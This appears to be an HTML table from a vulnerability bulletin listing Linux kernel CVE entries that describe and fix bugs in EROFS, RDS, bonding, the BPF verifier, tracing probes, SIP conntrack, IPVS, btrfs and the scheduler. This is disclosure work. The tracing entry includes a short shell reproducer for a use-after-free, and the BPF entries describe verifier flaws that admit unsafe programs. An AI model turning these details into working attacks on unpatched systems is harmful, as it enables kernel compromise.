&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: erofs: disable LZ4 rolling decompression for now LZ4 rolling decompression [1] was introduced to reduce the memory footprint of temporary pages: For many cases, it is needed for users to read small data within a compressed extent (pcluster), either due to random small read, or since uptodate folios (typically order-0) cannot be reused for decompression again since decompression algorithm refills already-uptodate folios. Rolling decompression works because LZ4 is LZ77-based and only refers to the most recent 64 KiB of decompressed data, so in theory only a bounded rolling window of temporary pages is needed when decompressing. It can save a lot of temporary memory, e.g. 601,960-byte data can be compressed into a 256k LZ4 compressed extent, which means it needs 146 extra pages per request in the worst case if rolling decompression is disabled. However, the upstream LZ4 implementation is not under EROFS&#039; control: For example, the literal copy memmove() may still **copy long literals backward** on x86 based on the address comparison even when the source and destination ranges do not overlap (IOWs, inline decompression doesn&#039;t need to be considered here). That breaks the rolling assumption and makes the optimization broken. Disable it for now to make sure the data correctness first since EROFS is used everywhere now: The rolling window approach can be revived once we either ensure that the official LZ4 code always copies forward for non-overlapping ranges or maintain our own LZ4 implementation in EROFS. The main impact is a higher runtime memory footprint; However, recent commit 0f6273ab4637 (&quot;erofs: add a reserved buffer pool for lz4 decompression&quot;) helps mitigate this when enabled but it&#039;s still not perfect. [1] https://www.usenix.org/conference/atc19/presentation/gao Â§ 3.3 Decompression&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98067&quot; target=&quot;_blank&quot;&gt;CVE-2026-98067&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net/rds: don&#039;t let rds_conn_shutdown() consume a concurrent drop rds_conn_shutdown() finishes by moving the path from RDS_CONN_DISCONNECTING to RDS_CONN_DOWN, and also accepts RDS_CONN_ERROR as the starting state of that final transition, so that a FIN processed in softirq context during the teardown does not derail the shutdown into a noisy error path. But consuming that RDS_CONN_ERROR also consumes the shutdown pass that came with it: rds_conn_path_drop() sets RDS_CONN_ERROR and then queues cp_down_w, and a pass that starts on a path already in RDS_CONN_DOWN is a no-op. For the FIN case that is harmless - the socket the FIN arrived on is the very socket the teardown just released. It is not harmless for a dropper that attached something to the path first. rds_tcp_accept_one() is such a dropper. Its path claim in rds_tcp_accept_one_path() transitions RDS_CONN_DOWN -&amp;gt; RDS_CONN_CONNECTING, and a concurrent drop - a FIN on a previous socket in softirq context, an administrative reset - can put the path into RDS_CONN_ERROR between that claim and the state check that follows, which accepts RDS_CONN_ERROR. The accept then installs the freshly accepted socket with rds_tcp_set_callbacks() while the queued teardown - which sampled tc-&amp;gt;t_sock before this socket existed - is still running. rds_connect_path_complete() fails its transition to RDS_CONN_UP and drops the path again, queueing the pass that should reap the socket it just installed. If the in-flight shutdown&#039;s final transition consumes that drop&#039;s RDS_CONN_ERROR, the queued pass finds the path in RDS_CONN_DOWN and does nothing. The installed socket is never torn down: it sits established with its callbacks armed and its rds_tcp_connection on rds_tcp_tc_list, the peer sees a connection that nothing ever reads, and the path is wedged in RDS_CONN_DOWN until some later event drops it again. Reproduced with widened race windows as an ever-growing receive queue on a socket owned by a path stuck in RDS_CONN_DOWN, with the peer&#039;s send path wedged behind it. Make the final transition only DISCONNECTING -&amp;gt; DOWN. If it fails because the path is in RDS_CONN_ERROR, a drop raced the teardown: cancel the reconnect timer and clear RDS_RECONNECT_PENDING - the one piece of the skipped tail that must not be left behind - and return, letting the pass the drop queued finish the job: it tears down whatever attached to the path in the meantime, completes the transition to RDS_CONN_DOWN, and re-arms the reconnect from its own tail. The timer quiesce in that branch matters because the racing drop does not always queue that pass: rds_conn_path_drop() returns without queueing when a destroy is pending - exactly the situation during a netns teardown or module unload, when a FIN on the dying socket is processed while rds_conn_path_destroy() flushes cp_down_w. If the flushed pass is the one that takes this return, no later pass exists, and rds_conn_path_destroy() would find cp_conn_w still armed (WARN_ON) and then free a path whose reconnect timer can still fire. With the cancel in the branch, every exit of a shutdown pass leaves the timer quiesced no matter which pass completes the transition. The FIN case keeps making progress, one pass later and still without noisy logging. Any other state keeps today&#039;s rds_conn_path_error() handling; no current cp_state writer can leave a DISCONNECTING path in anything but RDS_CONN_ERROR (every other writer is a cmpxchg from a non-DISCONNECTING state), so that branch is defensive. On kernels without the preceding patches the same hazard exists with the sample-based quiesce; the fix applies there equally.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98068&quot; target=&quot;_blank&quot;&gt;CVE-2026-98068&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net/rds: clear cp_flags bits individually in rds_conn_path_reset() rds_conn_path_reset() wipes the whole flag word with a plain cp-&amp;gt;cp_flags = 0 store. Every other accessor of that word uses atomic bitops, and some of them can run concurrently with the reset: RDS_LL_SEND_FULL is set from rds_send_xmit() and cleared from the transport completion paths, neither of which holds anything that excludes the shutdown worker. A plain store racing an atomic read-modify-write on the same word is a data race, and whichever side loses has its update silently discarded. Clear the two bits the reset is actually responsible for instead. RDS_IN_XMIT and RDS_RECV_REFILL need no store at all here: they belong to the caller, rds_conn_shutdown(), which waits for both to be clear before calling the transport shutdown and this reset. This also gives every bit in cp_flags a single well-defined writer discipline, which the following patches rely on when they turn RDS_IN_XMIT and RDS_RECV_REFILL into bit locks held across the teardown: a blanket store mid-teardown would destroy lock ownership that an atomic clear preserves. Oracle UEK carries the same conversion (&quot;net/rds: Preserve essential connection state flags&quot;), motivated by its asynchronous shutdown state machine, whose progress and destroy flags must survive the reset. UEK&#039;s variant also clears RDS_IN_XMIT and RDS_RECV_REFILL because there the reset runs as the final step of a teardown that owns both bits, making those clears its unlock. Upstream that release belongs in rds_conn_shutdown(): once a later patch in this series turns the two bits into locks held across the teardown, ending ownership needs release semantics and a wake-up that a plain clear inside the reset would not provide. Based on Oracle UEK commit &quot;net/rds: Preserve essential connection state flags&quot; by Gerd Rausch.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98071&quot; target=&quot;_blank&quot;&gt;CVE-2026-98071&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net/rds: use wq_has_sleeper() in release_in_xmit() release_in_xmit() clears RDS_IN_XMIT with clear_bit_unlock() and then checks waitqueue_active() to decide whether anyone needs waking. clear_bit_unlock() is only a release operation: it orders the critical section before the bit clear, but does not order the subsequent plain load of the wait queue head after it. The waiter side does the mirror image - it adds itself to the wait queue and then tests the bit. That is the classic store-buffering pattern: the releasing CPU can read the wait queue as empty while the waiting CPU still reads the bit as set, so the sleeper is never woken. The waiters are rds_conn_shutdown() and rds_tcp_reset_callbacks(), both in uninterruptible wait_event() with no timeout. A lost wake-up strands the shutdown worker on its single-threaded workqueue until some other sender releases the bit again - and on a connection that is being torn down precisely because it failed, there may never be another sender. The barrier used to be there: release_in_xmit() did clear_bit() followed by smp_mb__after_atomic() until commit 1422f28826d2 (&quot;rds: introduce acquire/release ordering in acquire/release_in_xmit()&quot;) folded both into clear_bit_unlock(), which strengthened the lock hand-off but silently dropped the full barrier the wake-up check depends on. The refill counterpart, release_refill() in net/rds/ib_recv.c, still carries its smp_mb__after_atomic() for exactly this reason. Use wq_has_sleeper(), which is waitqueue_active() preceded by the required full barrier.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98072&quot; target=&quot;_blank&quot;&gt;CVE-2026-98072&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bonding: do not clear curr_active_slave prematurely when releasing all slaves When releasing all slaves during bond destruction (all == true), __bond_release_one() unconditionally clears bond-&amp;gt;curr_active_slave to NULL in every iteration. If a backup slave is released before the active slave, bond_alb_deinit_slave() triggers rlb_teach_disabled_mac_on_primary(), which increments the active slave dev promiscuity counter and sets bond_info-&amp;gt;primary_is_promisc = 1. Because bond-&amp;gt;curr_active_slave was prematurely cleared to NULL when releasing the backup slave, the subsequent iteration releasing the active slave evaluates oldcurrent as NULL, so bond_change_active_slave(bond, NULL) is skipped. Consequently, bond_alb_handle_active_change() is never called to decrement the promiscuity counter, permanently leaking promiscuous mode on the physical device after bond teardown. When oldcurrent == slave, bond_change_active_slave(bond, NULL) already sets bond-&amp;gt;curr_active_slave to NULL. We only need to avoid selecting a new active slave when all == true. Replace the if (all) branch with if (!all &amp;amp;&amp;amp; oldcurrent == slave).&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98074&quot; target=&quot;_blank&quot;&gt;CVE-2026-98074&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: reject BPF_PSEUDO_FUNC reference to the main program fixups.c:jit_subprogs() rewrites BPF_PSEUDO_FUNC loads to contain real function addresses. This function is invoked from bpf_jit_subprogs() only when env-&amp;gt;subprog_cnt &amp;gt; 1. Meaning that for any program like below: int main(void *ctx) { void *ptr = main; ... bpf_timer_set_callback(..., ptr); ... } The &#039;ptr&#039; won&#039;t be ever converted to contain an address. In combination with e.g. bpf_timer_set_callback() this would lead to a function call at a bogus address. Instead of complicating the implementation, just assume that no useful program needs main to be a sync or async callback and reject BPF_PSEUDO_FUNC loads for the main subprogram.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98075&quot; target=&quot;_blank&quot;&gt;CVE-2026-98075&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: tracing/probes: Fix use-after-free on field name/type of events with multiple probes The fields of a probe-based dynamic event (kprobe, uprobe, eprobe and fprobe events) are created in traceprobe_define_arg_fields() by handing the probe_arg name/type strings to trace_define_field(), which only stores the pointers without copying. Those strings are owned by the trace_probe and are freed when that probe is removed. An event can have several probes attached. The field list is defined only once, by the first probe that registers the event, but it is kept alive by any surviving sibling probe. Deleting just that first probe by symbol - # primary A: fields are defined from A&#039;s args echo &#039;p:kprobes/ev vfs_read a1=$arg1&#039; &amp;gt; kprobe_events # append B: shares A&#039;s event call echo &#039;p:kprobes/ev vfs_write a1=$arg1&#039; &amp;gt;&amp;gt; kprobe_events # delete only A (matched by symbol), B survives echo &#039;-:kprobes/ev vfs_read&#039; &amp;gt;&amp;gt; kprobe_events frees A&#039;s args (trace_probe_cleanup() -&amp;gt; traceprobe_free_probe_arg()), but trace_probe_unlink() keeps the trace_probe_event because the probe list is not empty. The event call stays registered via B while its fields now reference freed memory. Any field lookup then reads it, e.g. echo &#039;a1 == 1&#039; &amp;gt; events/kprobes/ev/filter BUG: KASAN: slab-use-after-free in strcmp+0xa7/0xb0 Call Trace: strcmp trace_find_event_field parse_pred process_preds create_filter apply_event_filter event_filter_write field-&amp;gt;name references parg-&amp;gt;name (kstrdup&#039;d, freed with the probe) and, for array arguments, field-&amp;gt;type references parg-&amp;gt;fmt (kmalloc&#039;d, freed with the probe) - the scalar type otherwise points at the static fmttype rodata, which is safe. Have traceprobe_define_arg_fields() duplicate the name and type strings and anchor the copies on the trace_probe_event, which embeds the event call and outlives every individual probe; trace_probe_event_free() releases them. The reproducer above triggers reliably; the field lookup and the delete both run under event_mutex, so this is a dangling reference after removal rather than a race. The issue was found by the autokbug dynamic kernel fuzzer at Tencent Yunding Lab.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98076&quot; target=&quot;_blank&quot;&gt;CVE-2026-98076&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_conntrack_sip: fix OOB read in sip_skip_whitespace() sip_skip_whitespace() returns dptr unchanged when its own loop exhausts the buffer (dptr == limit), instead of NULL like its sibling sip_follow_continuation() returns on its own &quot;no more data&quot; path. ct_sip_get_header() only checks for NULL after calling it: dptr = sip_skip_whitespace(dptr, limit); if (dptr == NULL) break; if (*dptr != &#039;:&#039; || ++dptr &amp;gt;= limit) break; so a recognized header name followed only by spaces/tabs running to the exact end of the SIP payload, with no colon, makes the very next statement read one byte past the buffer. Make both &quot;no more data&quot; outcomes return NULL, matching the convention sip_follow_continuation() already uses and that both existing callers already check for.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98077&quot; target=&quot;_blank&quot;&gt;CVE-2026-98077&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ipvs: fix reversed sequence option serialization hton_seq() expects the host-order source first and the unaligned network-order destination second. The version 1 sync sender passes these arguments in reverse for both sequence blocks. This leaves 24 bytes of the kmalloc-backed message unwritten. It may disclose stale heap data and replace the live connection sequence state with values read from the buffer. Pass the connection sequence state as the source and the message payload as the destination for both blocks.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98078&quot; target=&quot;_blank&quot;&gt;CVE-2026-98078&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: btrfs: zstd: fix lost wakeup when waiting for a workspace A writer can sleep forever in zstd_get_workspace() even though a workspace is free. When zstd_alloc_workspace() fails, the task is queued on zwsm-&amp;gt;wait and schedules unconditionally, never re-testing the pool. zstd_put_workspace() publishes the workspace and then calls cond_wake_up(), which only wakes when a sleeper is already visible, so a workspace returned between the failed allocation and prepare_to_wait() wakes nobody. The window is wide: zstd_alloc_workspace() goes through kvmalloc() and may enter reclaim. Only a max level workspace triggers the wakeup and one is deliberately kept allocated as the fallback every waiter waits for, so once its wakeup is lost the writer stays in TASK_UNINTERRUPTIBLE until some other task happens to return one. Re-check the pool after prepare_to_wait() has published the waiter, and use the workspace if one turned up.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98079&quot; target=&quot;_blank&quot;&gt;CVE-2026-98079&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: btrfs: do not force reloc root creation during qgroup_account_snapshot() [BUG] When running btrfs/252 with quota enabled through MKFS_OPTIONS=&quot;-O quota&quot;, it has a high chance to trigger the following kernel warning and flips the fs RO: BTRFS info (device dm-2): relocating block group 30408704 flags metadata|dup ------------[ cut here ]------------ WARNING: fs/btrfs/extent-tree.c:879 at lookup_inline_extent_backref+0x74b/0x960 [btrfs], CPU#4: btrfs/2173 CPU: 4 UID: 0 PID: 2173 Comm: btrfs Not tainted 7.2.0-rc6-custom+ #457 PREEMPT(full) 3adc6528fb66f7a55fe1095385818e742f200aab Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS unknown 02/02/2022 RIP: 0010:lookup_inline_extent_backref+0x74b/0x960 [btrfs] Call Trace: &amp;lt;TASK&amp;gt; insert_inline_extent_backref+0x7c/0x160 [btrfs 32f09462c54d9c922fca74a3e4866f4aa7737b72] __btrfs_inc_extent_ref+0xa9/0x270 [btrfs 32f09462c54d9c922fca74a3e4866f4aa7737b72] __btrfs_run_delayed_refs+0x4af/0x11c0 [btrfs 32f09462c54d9c922fca74a3e4866f4aa7737b72] btrfs_run_delayed_refs+0x9d/0xf0 [btrfs 32f09462c54d9c922fca74a3e4866f4aa7737b72] create_pending_snapshot+0x39d/0xf00 [btrfs 32f09462c54d9c922fca74a3e4866f4aa7737b72] create_pending_snapshots+0x9b/0xc0 [btrfs 32f09462c54d9c922fca74a3e4866f4aa7737b72] btrfs_commit_transaction+0x280/0xeb0 [btrfs 32f09462c54d9c922fca74a3e4866f4aa7737b72] prepare_to_relocate+0x147/0x200 [btrfs 32f09462c54d9c922fca74a3e4866f4aa7737b72] relocate_block_group+0x6b/0x5e0 [btrfs 32f09462c54d9c922fca74a3e4866f4aa7737b72] btrfs_relocate_block_group+0x92c/0x2380 [btrfs 32f09462c54d9c922fca74a3e4866f4aa7737b72] btrfs_relocate_chunk+0x3f/0x1a0 [btrfs 32f09462c54d9c922fca74a3e4866f4aa7737b72] btrfs_balance+0xa2c/0x19c0 [btrfs 32f09462c54d9c922fca74a3e4866f4aa7737b72] btrfs_ioctl+0x2839/0x2d30 [btrfs 32f09462c54d9c922fca74a3e4866f4aa7737b72] __x64_sys_ioctl+0x416/0x9a0 do_syscall_64+0xe1/0x790 entry_SYSCALL_64_after_hwframe+0x4b/0x53 &amp;lt;/TASK&amp;gt; ---[ end trace 0000000000000000 ]--- BTRFS info (device dm-2): leaf 4593991680 gen 233 total ptrs 175 free space 5953 owner 2 BTRFS info (device dm-2): refs 3 lock_owner 2173 current 2173 item 0 key (166772736 METADATA_ITEM 1) itemoff 16250 itemsize 33 extent refs 1 gen 222 flags 2 ref#0: tree block backref root 266 [ Skip the tree dump ] item 174 key (263225344 METADATA_ITEM 0) itemoff 10328 itemsize 33 extent refs 1 gen 162 flags 258 ref#0: tree block backref root 267 BTRFS error (device dm-2): extent item not found for insert, bytenr 179847168 num_bytes 16384 parent 4594335744 root_objectid 273 owner 0 offset 0 BTRFS error (device dm-2): failed to run delayed ref for logical 179847168 num_bytes 16384 type 182 action 1 ref_mod 1: -117 [CAUSE] The above error is showing that there is a tree reference to a metadata extent that is no longer there. With &quot;ref_verify&quot; mount option (requires CONFIG_BTRFS_DEBUG), there is some extra debug output: BTRFS error (device dm-2): dumping block entry [180961280 16384], num_refs 0, metadata 1, from disk 0 BTRFS error (device dm-2): root entry 256, num_refs 18446744073709551615 BTRFS error (device dm-2): root entry 273, num_refs 18446744073709551615 BTRFS error (device dm-2): Ref action 3, root 273, ref_root 273, parent 0, owner 0, offset 0, num_refs 1 btrfs_force_cow_block+0x129/0x7d0 [btrfs] btrfs_cow_block+0x10a/0x250 [btrfs] btrfs_search_slot+0x5eb/0xf40 [btrfs] btrfs_insert_empty_items+0x3a/0x70 [btrfs] insert_with_overflow+0x53/0x130 [btrfs] btrfs_insert_dir_item+0x125/0x290 [btrfs] btrfs_add_link+0xaa/0x410 [btrfs] btrfs_rename+0x5ea/0xcd0 [btrfs] btrfs_rename2+0x28/0x60 [btrfs] vfs_rename+0x5b2/0xe10 filename_renameat2+0x244/0x430 __x64_sys_rename+0x48/0x70 do_syscall_64+0xe1/0x790 entry_SYSCALL_64_after_hwframe+0x4b/0x53 ---truncated---&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98080&quot; target=&quot;_blank&quot;&gt;CVE-2026-98080&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: btrfs: zoned: finish active block group cleanup if call_zone_finish() fails do_zone_finish() clears BLOCK_GROUP_FLAG_ZONE_IS_ACTIVE before finishing the zones. If call_zone_finish() then fails it returned early, leaving the now inactive block group on fs_info-&amp;gt;zone_active_bgs, leaking its reference, the BTRFS_FS_NEED_ZONE_FINISH waiters are never woken, and as its alloc_offset equals the zone capacity btrfs_zone_finish_one_bg() keeps selecting it, spinning btrfs_zoned_activate_one_bg(). Fall through to the cleanup on failure too and return the error, but keep the block group read-only as its zones are left inconsistent.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98081&quot; target=&quot;_blank&quot;&gt;CVE-2026-98081&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: btrfs: fix the possible bioc_list memory leak during error There are two possible ways to leak bioc memory on btrfs_ordered_extent::bioc_list: - An error occurred for btrfs_insert_one_raid_extent() Then the function btrfs_insert_raid_extent() immediately return without freeing any bioc in the bioc_list. - An ordered extent hit an IO error In that case the ordered extent will have BTRFS_ORDERED_IOERR set, and skip the call on btrfs_insert_raid_extent() completely. Fix the problem by: - Introduce a new helper, btrfs_cleanup_ordered_bioc_list() Which will remove all bioc from the bioc_list, and release the bioc. - Call the above helper for btrfs_insert_raid_extent() So that the cleanup helper is always called no matter what. - Call the above helper for btrfs_finish_one_ordered() This is called just before the final release on the ordered extent. This was reported by Sashiko when reviewing another patch.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98082&quot; target=&quot;_blank&quot;&gt;CVE-2026-98082&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: backtracking shouldn&#039;t clear outer frame R1-R5 for callbacks When processing calls to bpf_loop() verifier marks R1 (and R4) as precise. R1 tracks loop iterations number and because of the &#039;callback_depth &amp;lt; R1&#039; mechanics in check_helper_call() must be marked precise. However, precision propagation for R1 was broken, when bpf_loop() call was verified on a second iteration. Consider the following verification trace: - main: bpf_loop(nr_loops, callback ...) - callback: BPF_EXIT - main: bpf_loop(nr_loops, callback ...) - ... While the first visit of the call to bpf_loop() propagated R1 precision as expected, the second call to mark_chain_precision() in the check_helper_call() set R1, but it was immediately reset when backtrack_insn() processed preceding BPF_EXIT in the loop deleted in this patch. Because of that, the second visit of the call to bpf_loop() injected checkpoint with R1 not marked as precise. Which could trick the verifier into accepting unsafe programs. See the next patch for an example of such program. Commit is structured in a way to minimize conflicts when &#039;bpf&#039; would be eventually merged with &#039;bpf-next&#039;.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98084&quot; target=&quot;_blank&quot;&gt;CVE-2026-98084&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: backtrack_insn(): Handle ld_{abs,ind} subprog exit edge Nicholas Carlini reported a bug in precision backtracking mechanism for BPF_LD | BPF_{IND,ABS} instructions. These instructions are modelled as two branches: - fallthrough; - implicit exit from current subprogram. The implicit exit case was not handled by the backtrack_insn() function. When backtracking such a path backtrack_insn() did not call bt_subprog_enter(), which meant that backtracking continued manipulating precision marks in a caller frame, while looking at instructions in a callee frame. This lead to segmentation faults during verification (see the selftest), or unsound state pruning.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98085&quot; target=&quot;_blank&quot;&gt;CVE-2026-98085&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ALSA: ump: do not touch legacy_rmidi before it exists snd_ump_parse_endpoint() sets ump-&amp;gt;parsed on every exit, including error, before the caller attaches the legacy rawmidi device. ump_handle_ep_name_msg() then treats parsed as &quot;legacy_rmidi is live&quot; and calls ump_legacy_set_rawmidi_name(), which snprintf()s into ump-&amp;gt;legacy_rmidi-&amp;gt;name. If a UMP packet arrives in that window (IRQ path from snd_ump_receive), legacy_rmidi is still NULL (KASAN null-ptr-deref in snprintf). Guard the legacy helpers. parsed only means endpoint info was parsed, not that legacy_rmidi exists.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98086&quot; target=&quot;_blank&quot;&gt;CVE-2026-98086&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: sched/rt,dl: Skip migrate-disabled tasks when picking a push candidate A migrate_disable()&#039;d RT task cannot be moved to another CPU, but the scheduler still keeps such a task on that CPU&#039;s pushable list (rq-&amp;gt;rt.pushable_tasks) and still marks the runqueue RT-overloaded (rq-&amp;gt;rt.overloaded = 1). So the RT balancer keeps treating this CPU as having a task to move away, and keeps trying to move the task, but the push can never succeed. When the head is pinned, push_rt_task() does not give up either. It falls back to pushing rq-&amp;gt;curr instead, using the per-CPU stopper, as added by commit a7c81556ec4d (&quot;sched: Fix migrate_disable() vs rt/dl balancing&quot;). The CPU spends tens of milliseconds in this retry loop. The core is isolated for real-time work, but during the loop nearly half of its time is consumed by pushes that cannot succeed. An ftrace capture of the affected CPU, with sched_switch enabled and commit 94894c9c477e (&quot;sched/rt: Skip currently executing CPU in rto_next_cpu()&quot;) applied, shows where the CPU time went. Two SCHED_FIFO tasks at equal priority shared the CPU, taskA migrate_disable()&#039;d and queued, taskB as rq-&amp;gt;curr. In one 89 ms window, taskB got only 52 ms of CPU. The other 37 ms went to the stopper thread. The scheduler kept trying to push taskA, the pinned head of the pushable list, fell back to pushing taskB instead, and woke the stopper 5204 times. Every one of those pushes failed and no task was moved. taskA stayed runnable and queued the whole time, and never ran. Pushing taskB fails on a re-check. find_lock_lowest_rq() drops the rq lock to take the target rq lock, then checks again with &quot;task != pick_next_pushable_task(rq)&quot;. The task being pushed is taskB, but the pick returns taskA, the head of the pushable list. taskB is rq-&amp;gt;curr, and set_next_task_rt() removes the running task from that list, so taskB can never be the head. The check expects a candidate taken from the pushable list, but the fallback pushes rq-&amp;gt;curr, which is never on that list. So the check fails every time. .--&amp;gt; push-IPI arrives | | | v | pushable head = taskA -&amp;gt; pinned, cannot be pushed | | | v | so push taskB instead -&amp;gt; wake migration/N, a stop-class | | thread, so it preempts taskB | v | re-check compares taskB against the pushable head, | which is still taskA -&amp;gt; give up | | | v | nothing moved, taskA still queued, rq still overloaded | | &#039;----------&#039; repeats every ~17 us, 5204 times, for 89 ms The loop cannot stop itself. Every round leaves the runqueue exactly as it was, so the next push-IPI does the same thing. In the capture it ended only when taskB went to sleep on its own. taskA was then picked locally and left the pushable list. CPU time per task in the window, from sched_switch: taskB 51.95 ms real work migration/N 37.18 ms nothing moved taskA 0.00 ms queued the whole time, never picked idle 0.01 ms Counts over the same window: 7667 push-IPIs handled on this CPU 17481 pick_next_pushable_task() returned taskA, still pinned 5204 find_lock_lowest_rq() gave up on the re-check 1 push that actually completed 0 migrations of taskA The CPU times and the window length come from the standard sched_switch tracepoint. The counts needed tracepoints added inside the RT balancer for this investigation. The self-IPI path is closed by the rto_next_cpu() fix above, and that part works. But the runqueue is still marked overloaded, because the pinned task is still advertised as pushable. Other CPUs now send the push-IPIs during their own RT balancing, and the same loop runs again. Closing the self-IPI path did not stop a pinn ---truncated---&lt;/td&gt;
